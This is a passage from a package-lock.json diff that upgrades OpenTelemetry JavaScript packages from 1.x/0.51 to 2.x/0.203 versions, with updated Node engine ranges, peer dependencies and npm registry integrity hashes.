+ "@opentelemetry/core": "2.0.1"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/propagator-jaeger/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/propagator-jaeger/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/resources": {
- "version": "1.30.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.30.1.tgz",
- "integrity": "sha512-5UxZqiAgLYGFjS4s9qm5mBVo433u+dSPUFWVWXmLAD4wB65oMCoXaJP1KJa9DIYYMeHu3z4BZcStG3LC593cWA==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz",
+ "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.30.1",
- "@opentelemetry/semantic-conventions": "1.28.0"
+ "@opentelemetry/core": "2.2.0",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/sdk-logs": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.51.1.tgz",
- "integrity": "sha512-ULQQtl82b673PpZc5/0EtH4V+BrwVOgKJZEB7tYZnGTG3I98tQVk89S9/JSixomDr++F4ih+LSJTCqIKBz+MQQ==",
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.203.0.tgz",
+ "integrity": "sha512-vM2+rPq0Vi3nYA5akQD2f3QwossDnTDLvKbea6u/A2NZ3XDkPxMfo/PNrDoXhDUD/0pPo2CdH5ce/thn9K0kLw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1"
+ "@opentelemetry/api-logs": "0.203.0",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.4.0 <1.9.0",
- "@opentelemetry/api-logs": ">=0.39.1"
+ "@opentelemetry/api": ">=1.4.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/api-logs": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz",
+ "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ },
+ "engines": {
+ "node": ">=8.0.0"
}
},
"node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@opentelemetry/sdk-metrics": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-1.24.1.tgz",
- "integrity": "sha512-FrAqCbbGao9iKI+Mgh+OsC9+U2YMoXnlDHe06yH7dvavCKzE3S892dGtX54+WhSFVxHR/TMRVJiK/CV93GR0TQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "lodash.merge": "^4.6.2"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.3.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@opentelemetry/sdk-node": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.51.1.tgz",
- "integrity": "sha512-GgmNF9C+6esr8PIJxCqHw84rEOkYm6XdFWZ2+Wyc3qaUt92ACoN7uSw5iKNvaUq62W0xii1wsGxwHzyENtPP8w==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/api-logs": "0.51.1",
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/exporter-trace-otlp-grpc": "0.51.1",
- "@opentelemetry/exporter-trace-otlp-http": "0.51.1",
- "@opentelemetry/exporter-trace-otlp-proto": "0.51.1",
- "@opentelemetry/exporter-zipkin": "1.24.1",
- "@opentelemetry/instrumentation": "0.51.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/sdk-logs": "0.51.1",
- "@opentelemetry/sdk-metrics": "1.24.1",
- "@opentelemetry/sdk-trace-base": "1.24.1",
- "@opentelemetry/sdk-trace-node": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.3.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz",
- "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.30.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.30.1.tgz",
- "integrity": "sha512-jVPgBbH1gCy2Lb7X0AVQ8XAfgg0pJ4nvl8/IiQA6nxOsPvS+0zMJaFSs2ltXe0J6C8dqjcnpyqINDJmU30+uOg==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/core": "1.30.1",
- "@opentelemetry/resources": "1.30.1",
- "@opentelemetry/semantic-conventions": "1.28.0"
- },
- "engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
"@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
- "node_modules/@opentelemetry/sdk-trace-node": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-1.24.1.tgz",
- "integrity": "sha512-/FZX8uWaGIAwsDhqI8VvQ+qWtfMNlXjaFYGc+vmxgdRFppCSSIRwrPyIhJO1qx61okyYhoyxVEZAfoiNxrfJCg==",
+ "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/context-async-hooks": "1.24.1",
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/propagator-b3": "1.24.1",
- "@opentelemetry/propagator-jaeger": "1.24.1",
- "@opentelemetry/sdk-trace-base": "1.24.1",
- "semver": "^7.5.2"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-metrics": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.0.1.tgz",
+ "integrity": "sha512-wf8OaJoSnujMAHWR3g+/hGvNcsC16rf9s1So4JlMiFaFHiE4HpIA3oUh+uWZQ7CNuK8gVW/pQSkgoa5HkkOl0g==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.9.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.203.0.tgz",
+ "integrity": "sha512-zRMvrZGhGVMvAbbjiNQW3eKzW/073dlrSiAKPVWmkoQzah9wfynpVPeL55f9fVIm0GaBxTLcPeukWGy0/Wj7KQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api-logs": "0.203.0",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/exporter-logs-otlp-grpc": "0.203.0",
+ "@opentelemetry/exporter-logs-otlp-http": "0.203.0",
+ "@opentelemetry/exporter-logs-otlp-proto": "0.203.0",
+ "@opentelemetry/exporter-metrics-otlp-grpc": "0.203.0",
+ "@opentelemetry/exporter-metrics-otlp-http": "0.203.0",
+ "@opentelemetry/exporter-metrics-otlp-proto": "0.203.0",
+ "@opentelemetry/exporter-prometheus": "0.203.0",
+ "@opentelemetry/exporter-trace-otlp-grpc": "0.203.0",
+ "@opentelemetry/exporter-trace-otlp-http": "0.203.0",
+ "@opentelemetry/exporter-trace-otlp-proto": "0.203.0",
+ "@opentelemetry/exporter-zipkin": "2.0.1",
+ "@opentelemetry/instrumentation": "0.203.0",
+ "@opentelemetry/propagator-b3": "2.0.1",
+ "@opentelemetry/propagator-jaeger": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-logs": "0.203.0",
+ "@opentelemetry/sdk-metrics": "2.0.1",
+ "@opentelemetry/sdk-trace-base": "2.0.1",
+ "@opentelemetry/sdk-trace-node": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/api-logs": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz",
+ "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ },
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/instrumentation": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.203.0.tgz",
+ "integrity": "sha512-ke1qyM+3AK2zPuBPb6Hk/GCsc5ewbLvPNkEuELx/JmANeEp6ZjnZ+wypPAJSucTw0wvCGrUaibDSdcrGFoWxKQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api-logs": "0.203.0",
+ "import-in-the-middle": "^1.8.1",
+ "require-in-the-middle": "^7.1.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-base": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node/node_modules/import-in-the-middle": {
+ "version": "1.15.0",
+ "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-1.15.0.tgz",
+ "integrity": "sha512-bpQy+CrsRmYmoPMAE/0G33iwRqwW4ouqdRg8jgbH3aKuCtOc8lxgmYXg2dMM92CRiGP660EtBcymH/eVUpCSaA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "acorn": "^8.14.0",
+ "acorn-import-attributes": "^1.9.5",
+ "cjs-module-lexer": "^1.2.2",
+ "module-details-from-path": "^1.0.3"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-node/node_modules/require-in-the-middle": {
+ "version": "7.5.2",
+ "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-7.5.2.tgz",
+ "integrity": "sha512-gAZ+kLqBdHarXB64XpAe2VCjB7rIRv+mU8tfRWziHRJ5umKsIHN2tLLv6EtMw7WCdP19S0ERVMldNvxYCHnhSQ==",
+ "license": "MIT",
+ "dependencies": {
+ "debug": "^4.3.5",
+ "module-details-from-path": "^1.0.3",
+ "resolve": "^1.22.8"
+ },
+ "engines": {
+ "node": ">=8.6.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-trace-base": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz",
+ "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.2.0",
+ "@opentelemetry/resources": "2.2.0",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/sdk-trace-node": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.0.1.tgz",
+ "integrity": "sha512-UhdbPF19pMpBtCWYP5lHbTogLWx9N0EBxtdagvkn5YtsAnCBZzL7SjktG+ZmupRgifsHMjwUaCCaVmqGfSADmA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/context-async-hooks": "2.0.1",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/sdk-trace-base": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz",
- "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.28.0",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.28.0.tgz",
- "integrity": "sha512-lp4qAiMTD4sNWW4DbKLBkfiMZ4jbAboJIGOQr5DvciMRI494OapieI9qiODpOt0XBr1LjIDy1xAGAnVs5supTA==",
+ "version": "1.37.0",
